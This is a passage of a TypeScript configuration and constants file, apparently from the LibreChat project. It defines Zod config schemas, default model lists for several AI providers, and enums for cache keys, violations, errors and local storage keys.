searxngInstanceUrl: z.string().optional().default('${SEARXNG_INSTANCE_URL}'),\n searxngApiKey: z.string().optional().default('${SEARXNG_API_KEY}'),\n firecrawlApiKey: z.string().optional().default('${FIRECRAWL_API_KEY}'),\n firecrawlApiUrl: z.string().optional().default('${FIRECRAWL_API_URL}'),\n firecrawlVersion: z.string().optional().default('${FIRECRAWL_VERSION}'),\n jinaApiKey: z.string().optional().default('${JINA_API_KEY}'),\n jinaApiUrl: z.string().optional().default('${JINA_API_URL}'),\n cohereApiKey: z.string().optional().default('${COHERE_API_KEY}'),\n searchProvider: z.nativeEnum(SearchProviders).optional(),\n scraperProvider: z.nativeEnum(ScraperProviders).optional(),\n rerankerType: z.nativeEnum(RerankerTypes).optional(),\n scraperTimeout: z.number().optional(),\n safeSearch: z.nativeEnum(SafeSearchTypes).default(SafeSearchTypes.MODERATE),\n firecrawlOptions: z\n .object({\n formats: z.array(z.string()).optional(),\n includeTags: z.array(z.string()).optional(),\n excludeTags: z.array(z.string()).optional(),\n headers: z.record(z.string()).optional(),\n waitFor: z.number().optional(),\n timeout: z.number().optional(),\n maxAge: z.number().optional(),\n mobile: z.boolean().optional(),\n skipTlsVerification: z.boolean().optional(),\n blockAds: z.boolean().optional(),\n removeBase64Images: z.boolean().optional(),\n parsePDF: z.boolean().optional(),\n storeInCache: z.boolean().optional(),\n zeroDataRetention: z.boolean().optional(),\n location: z\n .object({\n country: z.string().optional(),\n languages: z.array(z.string()).optional(),\n })\n .optional(),\n onlyMainContent: z.boolean().optional(),\n changeTrackingOptions: z\n .object({\n modes: z.array(z.string()).optional(),\n schema: z.record(z.unknown()).optional(),\n prompt: z.string().optional(),\n tag: z.string().nullable().optional(),\n })\n .optional(),\n })\n .optional(),\n});\n\nexport type TWebSearchConfig = DeepPartial<z.infer<typeof webSearchSchema>>;\n\nexport const ocrSchema = z.object({\n mistralModel: z.string().optional(),\n apiKey: z.string().optional().default('${OCR_API_KEY}'),\n baseURL: z.string().optional().default('${OCR_BASEURL}'),\n strategy: z.nativeEnum(OCRStrategy).default(OCRStrategy.MISTRAL_OCR),\n});\n\nexport const balanceSchema = z.object({\n enabled: z.boolean().optional().default(false),\n startBalance: z.number().optional().default(20000),\n autoRefillEnabled: z.boolean().optional().default(false),\n refillIntervalValue: z.number().optional().default(30),\n refillIntervalUnit: z\n .enum(['seconds', 'minutes', 'hours', 'days', 'weeks', 'months'])\n .optional()\n .default('days'),\n refillAmount: z.number().optional().default(10000),\n});\n\nexport const transactionsSchema = z.object({\n enabled: z.boolean().optional().default(true),\n});\n\nexport const memorySchema = z.object({\n disabled: z.boolean().optional(),\n validKeys: z.array(z.string()).optional(),\n tokenLimit: z.number().optional(),\n charLimit: z.number().optional().default(10000),\n personalize: z.boolean().default(true),\n messageWindowSize: z.number().optional().default(5),\n agent: z\n .union([\n z.object({\n id: z.string(),\n }),\n z.object({\n provider: z.string(),\n model: z.string(),\n instructions: z.string().optional(),\n model_parameters: z.record(z.any()).optional(),\n }),\n ])\n .optional(),\n});\n\nexport type TMemoryConfig = DeepPartial<z.infer<typeof memorySchema>>;\n\nexport const summarizationTriggerSchema = z.object({\n type: z.enum(['token_count']),\n value: z.number().positive(),\n});\n\nexport const contextPruningSchema = z.object({\n enabled: z.boolean().optional(),\n keepLastAssistants: z.number().min(0).max(10).optional(),\n softTrimRatio: z.number().min(0).max(1).optional(),\n hardClearRatio: z.number().min(0).max(1).optional(),\n minPrunableToolChars: z.number().min(0).optional(),\n});\n\nexport const summarizationConfigSchema = z.object({\n enabled: z.boolean().optional(),\n provider: z.string().optional(),\n model: z.string().optional(),\n parameters: z.record(z.union([z.string(), z.number(), z.boolean(), z.null()])).optional(),\n trigger: summarizationTriggerSchema.optional(),\n prompt: z.string().optional(),\n updatePrompt: z.string().optional(),\n reserveRatio: z.number().min(0).max(1).optional(),\n maxSummaryTokens: z.number().positive().optional(),\n contextPruning: contextPruningSchema.optional(),\n});\n\nexport type SummarizationConfig = z.infer<typeof summarizationConfigSchema>;\n\nconst customEndpointsSchema = z.array(endpointSchema.partial()).optional();\n\nexport const configSchema = z.object({\n version: z.string(),\n cache: z.boolean().default(true),\n ocr: ocrSchema.optional(),\n webSearch: webSearchSchema.optional(),\n memory: memorySchema.optional(),\n summarization: summarizationConfigSchema.optional(),\n secureImageLinks: z.boolean().optional(),\n imageOutputType: z.nativeEnum(EImageOutputType).default(EImageOutputType.PNG),\n includedTools: z.array(z.string()).optional(),\n filteredTools: z.array(z.string()).optional(),\n mcpServers: MCPServersSchema.optional(),\n mcpSettings: z\n .object({\n allowedDomains: z.array(z.string()).optional(),\n })\n .optional(),\n interface: interfaceSchema,\n turnstile: turnstileSchema.optional(),\n fileStrategy: fileSourceSchema.default(FileSources.local),\n fileStrategies: fileStrategiesSchema,\n actions: z\n .object({\n allowedDomains: z.array(z.string()).optional(),\n })\n .optional(),\n registration: z\n .object({\n socialLogins: z.array(z.string()).optional(),\n allowedDomains: z.array(z.string()).optional(),\n })\n .default({ socialLogins: defaultSocialLogins }),\n balance: balanceSchema.optional(),\n transactions: transactionsSchema.optional(),\n speech: z\n .object({\n tts: ttsSchema.optional(),\n stt: sttSchema.optional(),\n speechTab: speechTab.optional(),\n })\n .optional(),\n rateLimits: rateLimitSchema.optional(),\n fileConfig: fileConfigSchema.optional(),\n modelSpecs: specsConfigSchema.optional(),\n endpoints: z\n .object({\n all: baseEndpointSchema.omit({ baseURL: true }).optional(),\n [EModelEndpoint.openAI]: baseEndpointSchema.optional(),\n [EModelEndpoint.google]: baseEndpointSchema.optional(),\n [EModelEndpoint.anthropic]: anthropicEndpointSchema.optional(),\n [EModelEndpoint.azureOpenAI]: azureEndpointSchema.optional(),\n [EModelEndpoint.azureAssistants]: assistantEndpointSchema.optional(),\n [EModelEndpoint.assistants]: assistantEndpointSchema.optional(),\n [EModelEndpoint.agents]: agentsEndpointSchema.optional(),\n [EModelEndpoint.custom]: customEndpointsSchema.optional(),\n [EModelEndpoint.bedrock]: bedrockEndpointSchema.optional(),\n })\n .strict()\n .refine((data) => Object.keys(data).length > 0, {\n message: 'At least one `endpoints` field must be provided.',\n })\n .optional(),\n});\n\n/**\n * Recursively makes all properties of T optional, including nested objects.\n * Handles arrays, primitives, functions, and Date objects correctly.\n */\nexport type DeepPartial<T> = T extends (infer U)[]\n ? DeepPartial<U>[]\n : T extends ReadonlyArray<infer U>\n ? ReadonlyArray<DeepPartial<U>>\n : // eslint-disable-next-line @typescript-eslint/no-unsafe-function-type\n T extends Function\n ? T\n : T extends Date\n ? T\n : T extends object\n ? {\n [P in keyof T]?: DeepPartial<T[P]>;\n }\n : T;\n\nexport const getConfigDefaults = () => getSchemaDefaults(configSchema);\nexport type TCustomConfig = DeepPartial<z.infer<typeof configSchema>>;\nexport type TCustomEndpoints = z.infer<typeof customEndpointsSchema>;\n\nexport type TProviderSchema =\n | z.infer<typeof ttsOpenaiSchema>\n | z.infer<typeof ttsElevenLabsSchema>\n | z.infer<typeof ttsLocalaiSchema>\n | undefined;\n\nexport enum KnownEndpoints {\n anyscale = 'anyscale',\n apipie = 'apipie',\n cohere = 'cohere',\n fireworks = 'fireworks',\n deepseek = 'deepseek',\n moonshot = 'moonshot',\n groq = 'groq',\n helicone = 'helicone',\n huggingface = 'huggingface',\n mistral = 'mistral',\n mlx = 'mlx',\n ollama = 'ollama',\n openrouter = 'openrouter',\n perplexity = 'perplexity',\n shuttleai = 'shuttleai',\n 'together.ai' = 'together.ai',\n unify = 'unify',\n vercel = 'vercel',\n xai = 'xai',\n}\n\nexport enum FetchTokenConfig {\n openrouter = KnownEndpoints.openrouter,\n helicone = KnownEndpoints.helicone,\n}\n\nexport const defaultEndpoints: EModelEndpoint[] = [\n EModelEndpoint.openAI,\n EModelEndpoint.assistants,\n EModelEndpoint.azureAssistants,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.agents,\n EModelEndpoint.google,\n EModelEndpoint.anthropic,\n EModelEndpoint.custom,\n EModelEndpoint.bedrock,\n];\n\nexport const alternateName = {\n [EModelEndpoint.openAI]: 'OpenAI',\n [EModelEndpoint.assistants]: 'Assistants',\n [EModelEndpoint.agents]: 'My Agents',\n [EModelEndpoint.azureAssistants]: 'Azure Assistants',\n [EModelEndpoint.azureOpenAI]: 'Azure OpenAI',\n [EModelEndpoint.google]: 'Google',\n [EModelEndpoint.anthropic]: 'Anthropic',\n [EModelEndpoint.custom]: 'Custom',\n [EModelEndpoint.bedrock]: 'AWS Bedrock',\n [KnownEndpoints.ollama]: 'Ollama',\n [KnownEndpoints.deepseek]: 'DeepSeek',\n [KnownEndpoints.moonshot]: 'Moonshot',\n [KnownEndpoints.xai]: 'xAI',\n [KnownEndpoints.vercel]: 'Vercel',\n [KnownEndpoints.helicone]: 'Helicone',\n};\n\nconst sharedOpenAIModels = [\n 'gpt-5.4',\n // TODO: gpt-5.4-thinking may have separate reasoning token pricing — verify before release\n 'gpt-5.4-thinking',\n 'gpt-5.4-pro',\n 'gpt-5.1',\n 'gpt-5.1-chat-latest',\n 'gpt-5.1-codex',\n 'gpt-5.1-codex-mini',\n 'gpt-5',\n 'gpt-5-mini',\n 'gpt-5-nano',\n 'gpt-5-chat-latest',\n 'gpt-4.1',\n 'gpt-4.1-mini',\n 'gpt-4.1-nano',\n 'gpt-4o-mini',\n 'gpt-4o',\n 'gpt-4.5-preview',\n 'gpt-4.5-preview-2025-02-27',\n 'gpt-3.5-turbo',\n 'gpt-3.5-turbo-0125',\n 'gpt-4-turbo',\n 'gpt-4-turbo-2024-04-09',\n 'gpt-4-0125-preview',\n 'gpt-4-turbo-preview',\n 'gpt-4-1106-preview',\n 'gpt-3.5-turbo-1106',\n 'gpt-3.5-turbo-16k-0613',\n 'gpt-3.5-turbo-16k',\n 'gpt-4',\n 'gpt-4-0314',\n 'gpt-4-32k-0314',\n 'gpt-4-0613',\n 'gpt-3.5-turbo-0613',\n];\n\nconst sharedAnthropicModels = [\n 'claude-sonnet-4-6',\n 'claude-opus-4-6',\n 'claude-sonnet-4-5',\n 'claude-sonnet-4-5-20250929',\n 'claude-haiku-4-5',\n 'claude-haiku-4-5-20251001',\n 'claude-opus-4-1',\n 'claude-opus-4-1-20250805',\n 'claude-opus-4-5',\n 'claude-sonnet-4-20250514',\n 'claude-sonnet-4-0',\n 'claude-opus-4-20250514',\n 'claude-opus-4-0',\n 'claude-3-7-sonnet-latest',\n 'claude-3-7-sonnet-20250219',\n 'claude-3-5-haiku-20241022',\n 'claude-3-5-sonnet-20241022',\n 'claude-3-5-sonnet-20240620',\n 'claude-3-5-sonnet-latest',\n];\n\nexport const bedrockModels = [\n 'anthropic.claude-sonnet-4-6',\n 'anthropic.claude-opus-4-6-v1',\n 'anthropic.claude-sonnet-4-5-20250929-v1:0',\n 'anthropic.claude-haiku-4-5-20251001-v1:0',\n 'anthropic.claude-opus-4-1-20250805-v1:0',\n 'anthropic.claude-3-5-sonnet-20241022-v2:0',\n 'anthropic.claude-3-5-sonnet-20240620-v1:0',\n 'anthropic.claude-3-5-haiku-20241022-v1:0',\n // 'cohere.command-text-v14', // no conversation history\n // 'cohere.command-light-text-v14', // no conversation history\n 'cohere.command-r-v1:0',\n 'cohere.command-r-plus-v1:0',\n 'meta.llama2-13b-chat-v1',\n 'meta.llama2-70b-chat-v1',\n 'meta.llama3-8b-instruct-v1:0',\n 'meta.llama3-70b-instruct-v1:0',\n 'meta.llama3-1-8b-instruct-v1:0',\n 'meta.llama3-1-70b-instruct-v1:0',\n 'meta.llama3-1-405b-instruct-v1:0',\n 'mistral.mistral-7b-instruct-v0:2',\n 'mistral.mixtral-8x7b-instruct-v0:1',\n 'mistral.mistral-large-2402-v1:0',\n 'mistral.mistral-large-2407-v1:0',\n 'mistral.mistral-small-2402-v1:0',\n 'ai21.jamba-instruct-v1:0',\n // 'ai21.j2-mid-v1', // no streaming\n // 'ai21.j2-ultra-v1', no conversation history\n 'amazon.titan-text-lite-v1',\n 'amazon.titan-text-express-v1',\n 'amazon.titan-text-premier-v1:0',\n];\n\nexport const defaultModels = {\n [EModelEndpoint.azureAssistants]: sharedOpenAIModels,\n [EModelEndpoint.assistants]: [...sharedOpenAIModels, 'chatgpt-4o-latest'],\n [EModelEndpoint.agents]: sharedOpenAIModels, // TODO: Add agent models (agentsModels)\n [EModelEndpoint.google]: [\n // Gemini 3.1 Models\n 'gemini-3.1-pro-preview',\n 'gemini-3.1-pro-preview-customtools',\n 'gemini-3.1-flash-lite-preview',\n // Gemini 3 Models\n 'gemini-3-pro-preview',\n 'gemini-3-flash-preview',\n // Gemini 2.5 Models\n 'gemini-2.5-pro',\n 'gemini-2.5-flash',\n 'gemini-2.5-flash-lite',\n // Gemini 2.0 Models\n 'gemini-2.0-flash-001',\n 'gemini-2.0-flash-lite',\n ],\n [EModelEndpoint.anthropic]: sharedAnthropicModels,\n [EModelEndpoint.openAI]: [\n ...sharedOpenAIModels,\n 'chatgpt-4o-latest',\n 'gpt-4-vision-preview',\n 'gpt-3.5-turbo-instruct-0914',\n 'gpt-3.5-turbo-instruct',\n ],\n [EModelEndpoint.bedrock]: bedrockModels,\n};\n\nconst fitlerAssistantModels = (str: string) => {\n return /gpt-4|gpt-3\\\\.5/i.test(str) && !/vision|instruct/i.test(str);\n};\n\nconst openAIModels = defaultModels[EModelEndpoint.openAI];\n\nexport const initialModelsConfig: TModelsConfig = {\n initial: [],\n [EModelEndpoint.openAI]: openAIModels,\n [EModelEndpoint.assistants]: openAIModels.filter(fitlerAssistantModels),\n [EModelEndpoint.agents]: openAIModels, // TODO: Add agent models (agentsModels)\n [EModelEndpoint.azureOpenAI]: openAIModels,\n [EModelEndpoint.google]: defaultModels[EModelEndpoint.google],\n [EModelEndpoint.anthropic]: defaultModels[EModelEndpoint.anthropic],\n [EModelEndpoint.bedrock]: defaultModels[EModelEndpoint.bedrock],\n};\n\nexport const EndpointURLs = {\n [EModelEndpoint.assistants]: `${apiBaseUrl()}/api/assistants/v2/chat`,\n [EModelEndpoint.azureAssistants]: `${apiBaseUrl()}/api/assistants/v1/chat`,\n [EModelEndpoint.agents]: `${apiBaseUrl()}/api/${EModelEndpoint.agents}/chat`,\n} as const;\n\nexport const modularEndpoints = new Set<EModelEndpoint | string>([\n EModelEndpoint.anthropic,\n EModelEndpoint.google,\n EModelEndpoint.openAI,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.custom,\n EModelEndpoint.agents,\n EModelEndpoint.bedrock,\n]);\n\nexport const supportsBalanceCheck = {\n [EModelEndpoint.custom]: true,\n [EModelEndpoint.openAI]: true,\n [EModelEndpoint.anthropic]: true,\n [EModelEndpoint.assistants]: true,\n [EModelEndpoint.agents]: true,\n [EModelEndpoint.azureAssistants]: true,\n [EModelEndpoint.azureOpenAI]: true,\n [EModelEndpoint.bedrock]: true,\n [EModelEndpoint.google]: true,\n};\n\nexport const visionModels = [\n 'qwen-vl',\n 'grok-vision',\n 'grok-2-vision',\n 'grok-3',\n 'gpt-4o-mini',\n 'gpt-4o',\n 'gpt-4-turbo',\n 'gpt-4-vision',\n 'o4-mini',\n 'o3',\n 'o1',\n 'gpt-5',\n 'gpt-4.1',\n 'gpt-4.5',\n 'llava',\n 'llava-13b',\n 'gemini-pro-vision',\n 'claude-3',\n 'gemma',\n 'gemini-exp',\n 'gemini-1.5',\n 'gemini-2',\n 'gemini-2.5',\n 'gemini-3',\n 'moondream',\n 'llama3.2-vision',\n 'llama-3.2-11b-vision',\n 'llama-3-2-11b-vision',\n 'llama-3.2-90b-vision',\n 'llama-3-2-90b-vision',\n 'llama-4',\n 'claude-opus-4',\n 'claude-sonnet-4',\n 'claude-haiku-4',\n];\nexport enum VisionModes {\n generative = 'generative',\n agents = 'agents',\n}\n\nexport function validateVisionModel({\n model,\n additionalModels = [],\n availableModels,\n}: {\n model: string;\n additionalModels?: string[];\n availableModels?: string[];\n}) {\n if (!model) {\n return false;\n }\n\n if (model.includes('gpt-4-turbo-preview') || model.includes('o1-mini')) {\n return false;\n }\n\n if (availableModels && !availableModels.includes(model)) {\n return false;\n }\n\n return visionModels.concat(additionalModels).some((visionModel) => model.includes(visionModel));\n}\n\nexport const imageGenTools = new Set([\n 'dalle',\n 'dall-e',\n 'stable-diffusion',\n 'flux',\n 'gemini_image_gen',\n]);\n\n/**\n * Enum for collections using infinite queries\n */\nexport enum InfiniteCollections {\n /**\n * Collection for Prompt Groups\n */\n PROMPT_GROUPS = 'promptGroups',\n /**\n * Collection for Shared Links\n */\n SHARED_LINKS = 'sharedLinks',\n}\n\n/**\n * Enum for time intervals\n */\nexport enum Time {\n ONE_DAY = 86400000,\n TWELVE_HOURS = 43200000,\n ONE_HOUR = 3600000,\n THIRTY_MINUTES = 1800000,\n TEN_MINUTES = 600000,\n FIVE_MINUTES = 300000,\n THREE_MINUTES = 180000,\n TWO_MINUTES = 120000,\n ONE_MINUTE = 60000,\n THIRTY_SECONDS = 30000,\n}\n\n/**\n * Enum for cache keys.\n */\nexport enum CacheKeys {\n /**\n * Key for the config store namespace.\n */\n CONFIG_STORE = 'CONFIG_STORE',\n /**\n * Key for the tool cache namespace (plugins, MCP tools, tool definitions).\n */\n TOOL_CACHE = 'TOOL_CACHE',\n /**\n * Key for the roles cache.\n */\n ROLES = 'ROLES',\n /**\n * Key for the title generation cache.\n */\n GEN_TITLE = 'GEN_TITLE',\n /**\n * Key for the tools cache.\n */\n TOOLS = 'TOOLS',\n /**\n * Key for the model config cache.\n */\n MODELS_CONFIG = 'MODELS_CONFIG',\n /**\n * Key for the model queries cache.\n */\n MODEL_QUERIES = 'MODEL_QUERIES',\n /**\n * Key for the default startup config cache.\n */\n STARTUP_CONFIG = 'STARTUP_CONFIG',\n /**\n * Key for the default endpoint config cache.\n */\n ENDPOINT_CONFIG = 'ENDPOINT_CONFIG',\n /**\n * Key for accessing the model token config cache.\n */\n TOKEN_CONFIG = 'TOKEN_CONFIG',\n /**\n * Key for the app config namespace.\n */\n APP_CONFIG = 'APP_CONFIG',\n /**\n * Key for accessing Abort Keys\n */\n ABORT_KEYS = 'ABORT_KEYS',\n /**\n * Key for the bans cache.\n */\n BANS = 'BANS',\n /**\n * Key for the encoded domains cache.\n * Used by Azure OpenAI Assistants.\n */\n ENCODED_DOMAINS = 'ENCODED_DOMAINS',\n /**\n * Key for the cached audio run Ids.\n */\n AUDIO_RUNS = 'AUDIO_RUNS',\n /**\n * Key for in-progress messages.\n */\n MESSAGES = 'MESSAGES',\n /**\n * Key for in-progress flow states.\n */\n FLOWS = 'FLOWS',\n /**\n * Key for pending chat requests (concurrency check)\n */\n PENDING_REQ = 'PENDING_REQ',\n /**\n * Key for s3 check intervals per user\n */\n S3_EXPIRY_INTERVAL = 'S3_EXPIRY_INTERVAL',\n /**\n * key for open id exchanged tokens\n */\n OPENID_EXCHANGED_TOKENS = 'OPENID_EXCHANGED_TOKENS',\n /**\n * Key for OpenID session.\n */\n OPENID_SESSION = 'OPENID_SESSION',\n /**\n * Key for SAML session.\n */\n SAML_SESSION = 'SAML_SESSION',\n /**\n * Key for admin panel OAuth exchange codes (one-time-use, short TTL).\n */\n ADMIN_OAUTH_EXCHANGE = 'ADMIN_OAUTH_EXCHANGE',\n}\n\n/**\n * Enum for violation types, used to identify, log, and cache violations.\n */\nexport enum ViolationTypes {\n /**\n * File Upload Violations (exceeding limit).\n */\n FILE_UPLOAD_LIMIT = 'file_upload_limit',\n /**\n * Illegal Model Request (not available).\n */\n ILLEGAL_MODEL_REQUEST = 'illegal_model_request',\n /**\n * Token Limit Violation.\n */\n TOKEN_BALANCE = 'token_balance',\n /**\n * An issued ban.\n */\n BAN = 'ban',\n /**\n * TTS Request Limit Violation.\n */\n TTS_LIMIT = 'tts_limit',\n /**\n * STT Request Limit Violation.\n */\n STT_LIMIT = 'stt_limit',\n /**\n * Reset Password Limit Violation.\n */\n RESET_PASSWORD_LIMIT = 'reset_password_limit',\n /**\n * Verify Email Limit Violation.\n */\n VERIFY_EMAIL_LIMIT = 'verify_email_limit',\n /**\n * Verify Conversation Access violation.\n */\n CONVO_ACCESS = 'convo_access',\n /**\n * Tool Call Limit Violation.\n */\n TOOL_CALL_LIMIT = 'tool_call_limit',\n /**\n * General violation (catch-all).\n */\n GENERAL = 'general',\n /**\n * Login attempt violations.\n */\n LOGINS = 'logins',\n /**\n * Concurrent request violations.\n */\n CONCURRENT = 'concurrent',\n /**\n * Non-browser access violations.\n */\n NON_BROWSER = 'non_browser',\n /**\n * Message limit violations.\n */\n MESSAGE_LIMIT = 'message_limit',\n /**\n * Registration violations.\n */\n REGISTRATIONS = 'registrations',\n}\n\n/**\n * Enum for error message types that are not \"violations\" as above, used to identify client-facing errors.\n */\nexport enum ErrorTypes {\n /**\n * No User-provided Key.\n */\n NO_USER_KEY = 'no_user_key',\n /**\n * Expired User-provided Key.\n */\n EXPIRED_USER_KEY = 'expired_user_key',\n /**\n * Invalid User-provided Key.\n */\n INVALID_USER_KEY = 'invalid_user_key',\n /**\n * No Base URL Provided.\n */\n NO_BASE_URL = 'no_base_url',\n /**\n * Base URL targets a restricted or invalid address (SSRF protection).\n */\n INVALID_BASE_URL = 'invalid_base_url',\n /**\n * Moderation error\n */\n MODERATION = 'moderation',\n /**\n * Prompt exceeds max length\n */\n INPUT_LENGTH = 'INPUT_LENGTH',\n /**\n * Invalid request error, API rejected request\n */\n INVALID_REQUEST = 'invalid_request_error',\n /**\n * Invalid action request error, likely not on list of allowed domains\n */\n INVALID_ACTION = 'invalid_action_error',\n /**\n * Invalid request error, API rejected request\n */\n NO_SYSTEM_MESSAGES = 'no_system_messages',\n /**\n * Google provider returned an error\n */\n GOOGLE_ERROR = 'google_error',\n /**\n * Google provider does not allow custom tools with built-in tools\n */\n GOOGLE_TOOL_CONFLICT = 'google_tool_conflict',\n /**\n * Invalid Agent Provider (excluded by Admin)\n */\n INVALID_AGENT_PROVIDER = 'invalid_agent_provider',\n /**\n * Missing model selection\n */\n MISSING_MODEL = 'missing_model',\n /**\n * Models configuration not loaded\n */\n MODELS_NOT_LOADED = 'models_not_loaded',\n /**\n * Endpoint models not loaded\n */\n ENDPOINT_MODELS_NOT_LOADED = 'endpoint_models_not_loaded',\n /**\n * Generic Authentication failure\n */\n AUTH_FAILED = 'auth_failed',\n /**\n * Model refused to respond (content policy violation)\n */\n REFUSAL = 'refusal',\n /**\n * SSE stream 404 — job completed, expired, or was deleted before the subscriber connected\n */\n STREAM_EXPIRED = 'stream_expired',\n}\n\n/**\n * Enum for authentication keys.\n */\nexport enum AuthKeys {\n /**\n * Key for the Service Account to use Vertex AI.\n */\n GOOGLE_SERVICE_KEY = 'GOOGLE_SERVICE_KEY',\n /**\n * API key to use Google Generative AI.\n *\n * Note: this is not for Environment Variables, but to access encrypted object values.\n */\n GOOGLE_API_KEY = 'GOOGLE_API_KEY',\n /**\n * API key to use Anthropic.\n *\n * Note: this is not for Environment Variables, but to access encrypted object values.\n */\n ANTHROPIC_API_KEY = 'ANTHROPIC_API_KEY',\n}\n\n/**\n * Enum for Image Detail Cost.\n *\n * **Low Res Fixed Cost:** `85`\n *\n * **High Res Calculation:**\n *\n * Number of `512px` Tiles * `170` + `85` (Additional Cost)\n */\nexport enum ImageDetailCost {\n /**\n * Low resolution is a fixed value.\n */\n LOW = 85,\n /**\n * High resolution Cost Per Tile\n */\n HIGH = 170,\n /**\n * Additional Cost added to High Resolution Total Cost\n */\n // eslint-disable-next-line @typescript-eslint/no-duplicate-enum-values\n ADDITIONAL = 85,\n}\n\n/**\n * Tab values for Settings Dialog\n */\nexport enum SettingsTabValues {\n /**\n * Tab for General Settings\n */\n GENERAL = 'general',\n /**\n * Tab for Chat Settings\n */\n CHAT = 'chat',\n /**\n * Tab for Speech Settings\n */\n SPEECH = 'speech',\n /**\n * Tab for Beta Features\n */\n BETA = 'beta',\n /**\n * Tab for Data Controls\n */\n DATA = 'data',\n /**\n * Tab for Balance Settings\n */\n BALANCE = 'balance',\n /**\n * Tab for Account Settings\n */\n ACCOUNT = 'account',\n /**\n * Chat input commands\n */\n COMMANDS = 'commands',\n /**\n * Tab for Personalization Settings\n */\n PERSONALIZATION = 'personalization',\n}\n\nexport enum STTProviders {\n /**\n * Provider for OpenAI STT\n */\n OPENAI = 'openai',\n /**\n * Provider for Microsoft Azure STT\n */\n AZURE_OPENAI = 'azureOpenAI',\n}\n\nexport enum TTSProviders {\n /**\n * Provider for OpenAI TTS\n */\n OPENAI = 'openai',\n /**\n * Provider for Microsoft Azure OpenAI TTS\n */\n AZURE_OPENAI = 'azureOpenAI',\n /**\n * Provider for ElevenLabs TTS\n */\n ELEVENLABS = 'elevenlabs',\n /**\n * Provider for LocalAI TTS\n */\n LOCALAI = 'localai',\n}\n\n/** Enum for app-wide constants */\nexport enum Constants {\n /** Key for the app's version. */\n VERSION = 'v0.8.4',\n /** Key for the Custom Config's version (librechat.yaml). */\n CONFIG_VERSION = '1.3.6',\n /** Standard value for the first message's `parentMessageId` value, to indicate no parent exists. */\n NO_PARENT = '00000000-0000-0000-0000-000000000000',\n /** Standard value to use whatever the submission prelim. `responseMessageId` is */\n USE_PRELIM_RESPONSE_MESSAGE_ID = 'USE_PRELIM_RESPONSE_MESSAGE_ID',\n /** Standard value for the initial conversationId before a request is sent */\n NEW_CONVO = 'new',\n /** Standard value for the temporary conversationId after a request is sent and before the server responds */\n PENDING_CONVO = 'PENDING',\n /** Standard value for the conversationId used for search queries */\n SEARCH = 'search',\n /** Fixed, encoded domain length for Azure OpenAI Assistants Function name parsing. */\n ENCODED_DOMAIN_LENGTH = 10,\n /** Identifier for using current_model in multi-model requests. */\n CURRENT_MODEL = 'current_model',\n /** Common divider for text values */\n COMMON_DIVIDER = '__',\n /** Max length for commands */\n COMMANDS_MAX_LENGTH = 56,\n /** Default Stream Rate (ms) */\n DEFAULT_STREAM_RATE = 1,\n /** Saved Tag */\n SAVED_TAG = 'Saved',\n /** Max number of Conversation starters for Agents/Assistants */\n MAX_CONVO_STARTERS = 4,\n /** Delimiter for MCP tools */\n mcp_delimiter = '_mcp_',\n /** Prefix for MCP plugins */\n mcp_prefix = 'mcp_',\n /** Unique value to indicate all MCP servers. For backend use only. */\n mcp_all = 'sys__all__sys',\n /** Unique value to indicate clearing MCP servers from UI state. For frontend use only. */\n mcp_clear = 'sys__clear__sys',\n /** Key suffix for non-spec user default tool storage */\n spec_defaults_key = '__defaults__',\n /**\n * Unique value to indicate the MCP tool was added to an agent.\n * This helps inform the UI if the mcp server was previously added.\n * */\n mcp_server = 'sys__server__sys',\n /**\n * Handoff Tool Name Prefix\n */\n LC_TRANSFER_TO_ = 'lc_transfer_to_',\n /** Placeholder Agent ID for Ephemeral Agents */\n EPHEMERAL_AGENT_ID = 'ephemeral',\n /** Programmatic Tool Calling tool name */\n PROGRAMMATIC_TOOL_CALLING = 'run_tools_with_code',\n}\n\nexport enum LocalStorageKeys {\n /** Key for the admin defined App Title */\n APP_TITLE = 'appTitle',\n /** Key for the last conversation setup. */\n LAST_CONVO_SETUP = 'lastConversationSetup',\n /** Key for the last selected model. */\n LAST_MODEL = 'lastSelectedModel',\n /** Key for the last selected tools. */\n LAST_TOOLS = 'lastSelectedTools',\n /** Key for the last selected spec by name*/\n LAST_SPEC = 'lastSelectedSpec',\n /** Key for temporary files to delete */\n FILES_TO_DELETE = 'filesToDelete',\n /** Prefix key for the last selected assistant ID by index */\n ASST_ID_PREFIX = 'assistant_id__',\n /** Prefix key for the last selected agent ID by index */\n AGENT_ID_PREFIX = 'agent_id__',\n /** Key for the last selected fork setting */\n FORK_SETTING = 'forkSetting',\n /** Key for remembering the last selected option, instead of manually selecting */\n REMEMBER_FORK_OPTION = 'rememberDefaultFork',\n /** Key for remembering the split at target fork option modifier */\n FORK_SPLIT_AT_TARGET = 'splitAtTarget',\n /** Key for saving text drafts */\n TEXT_DRAFT = 'textDraft_',\n /** Key for saving file drafts */\n FILES_DRAFT = 'filesDraft_',\n /** Key for last Selected Prompt Category */\n LAST_PROMPT_CATEGORY = 'lastPromptCategory',\n /** Key for rendering User Messages as Markdown */\n ENABLE_USER_MSG_MARKDOWN = 'enableUserMsgMarkdown',\n /** Key for auto-expanding tool call details */\n AUTO_EXPAND_TOOLS = 'autoExpandTools',\n /** Last selected MCP values per conversation ID */\n LAST_MCP_ = 'LAST_MCP_',\n /** Last checked toggle for Code Interpreter API per conversation ID */\n LAST_CODE_TOGGLE_ = 'LAST_CODE_TOGGLE_',\n /** Last checked toggle for Web Search per conversation ID */\n LAST_WEB_SEARCH_TOGGLE_ = 'LAST_WEB_SEARCH_TOGGLE_',\n /** Last checked toggle for File Search per conversation ID */\n LAST_FILE_SEARCH_TOGGLE_ = 'LAST_FILE_SEARCH_TOGGLE_',\n /** Last checked toggle for Artifacts per conversation ID */\n LAST_ARTIFACTS_TOGGLE_ = 'LAST_ARTIFACTS_TOGGLE_',\n /** Key for the last selected agent provider */\n LAST_AGENT_PROVIDER = 'lastAgentProvider',\n /** Key for the last selected agent model */\n LAST_AGENT_MODEL = 'lastAgentModel',\n /** Pin state for MCP tools per conversation ID */\n PIN_MCP_ = 'PIN_MCP_',\n /** Pin state for Web Search per conversation ID */\n PIN_WEB_SEARCH_ = 'PIN_WEB_SEARCH_',\n /** Pin state for Code Interpreter per conversation ID */\n PIN_CODE_INTERPRETER_ = 'PIN_CODE_INTERPRETER_',\n}\n\nexport enum ForkOptions {\n /** Key for direct path option */\n DIRECT_PATH = 'directPath',\n /** Key for including branches */\n INCLUDE_BRANCHES = 'includeBranches',\n /** Key for target level fork (default) */\n TARGET_LEVEL = 'targetLevel',\n /** Default option */\n DEFAULT = 'default',\n}\n\n/**\n * Enum for Cohere related constants\n 